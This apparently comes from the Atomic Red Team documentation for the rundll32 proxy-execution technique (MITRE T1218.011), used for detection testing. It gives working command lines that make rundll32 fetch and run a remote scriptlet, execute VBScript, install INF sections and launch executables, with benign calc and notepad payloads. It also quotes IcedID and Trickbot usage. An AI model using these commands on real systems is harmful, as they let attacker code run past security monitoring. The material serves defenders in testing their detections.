Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions
Control_RunDLL
andControl_RunDLLAsUser
. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this:
rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"
This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)
-
Atomic Test #1 - Rundll32 execute JavaScript Remote Payload With GetObject
-
Atomic Test #7 - Execution of HTA and VBS Files using Rundll32 and URL.dll
-
Atomic Test #8 - Launches an executable using Rundll32 and pcwutl.dll
Test execution of a remote script using rundll32.exe. Upon execution notepad.exe will be opened.
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
file_url | location of the payload | Url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.011/src/T1218.011.sct |
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}").Exec();
Test execution of a command using rundll32.exe and VBscript in a similar manner to the JavaScript test. Technique documented by Hexacorn- http://www.hexacorn.com/blog/2019/10/29/rundll32-with-a-vbscript-protocol/ Upon execution calc.exe will be launched
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
command_to_execute | Command for rundll32.exe to execute | string | calc.exe |
rundll32 vbscript:"\..\mshtml,RunHTMLApplication "+String(CreateObject("WScript.Shell").Run("#{command_to_execute}"),0)
Test execution of a command using rundll32.exe with advpack.dll. Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Advpack.yml Upon execution calc.exe will be launched
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
inf_to_execute | Local location of inf file | string | PathToAtomicsFolder\T1218.011\src\T1218.011.inf |
rundll32.exe advpack.dll,LaunchINFSection #{inf_to_execute},DefaultInstall_SingleUser,1,
if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}
New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011.inf" -OutFile "#{inf_to_execute}"
Test execution of a command using rundll32.exe with ieadvpack.dll. Upon execution calc.exe will be launched
Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Ieadvpack.yml
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
inf_to_execute | Local location of inf file | string | PathToAtomicsFolder\T1218.011\src\T1218.011.inf |
rundll32.exe ieadvpack.dll,LaunchINFSection #{inf_to_execute},DefaultInstall_SingleUser,1,
if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}
New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011.inf" -OutFile "#{inf_to_execute}"
Test execution of a command using rundll32.exe with syssetup.dll. Upon execution, a window saying "installation failed" will be opened
Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Syssetup.yml
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
inf_to_execute | Local location of inf file | string | PathToAtomicsFolder\T1218.011\src\T1218.011_DefaultInstall.inf |
rundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 .\#{inf_to_execute}
if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}
New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011_DefaultInstall.inf" -OutFile "#{inf_to_execute}"
Test execution of a command using rundll32.exe with setupapi.dll. Upon execution, a windows saying "installation failed" will be opened
Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Setupapi.yml
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
inf_to_execute | Local location of inf file | string | PathToAtomicsFolder\T1218.011\src\T1218.011_DefaultInstall.inf |
rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 .\#{inf_to_execute}
if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}
New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011_DefaultInstall.inf" -OutFile "#{inf_to_execute}"
IcedID uses this TTP as follows: rundll32.exe url.dll,OpenURL %PUBLIC%\index.hta Trickbot uses this TTP as follows: rundll32.exe URL.dll,FileProtocolHandler C:\..\Detail\akteullen.vbs
In this atomic, the sample hta file opens the calculator and the vbs file shows a message dialog with "rundll32 spawned wscript"
Supported Platforms: Windows
rundll32.exe url.dll,OpenURL PathToAtomicsFolder\T1218.011\src\index.hta
rundll32.exe URL.dll,FileProtocolHandler PathToAtomicsFolder\T1218.011\src\akteullen.vbs
Executes the LaunchApplication function in pcwutl.dll to proxy execution of an executable.
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
exe_to_launch | Path of the executable to launch | path | %windir%\System32\notepad.exe |
rundll32.exe pcwutl.dll,LaunchApplication #{exe_to_launch}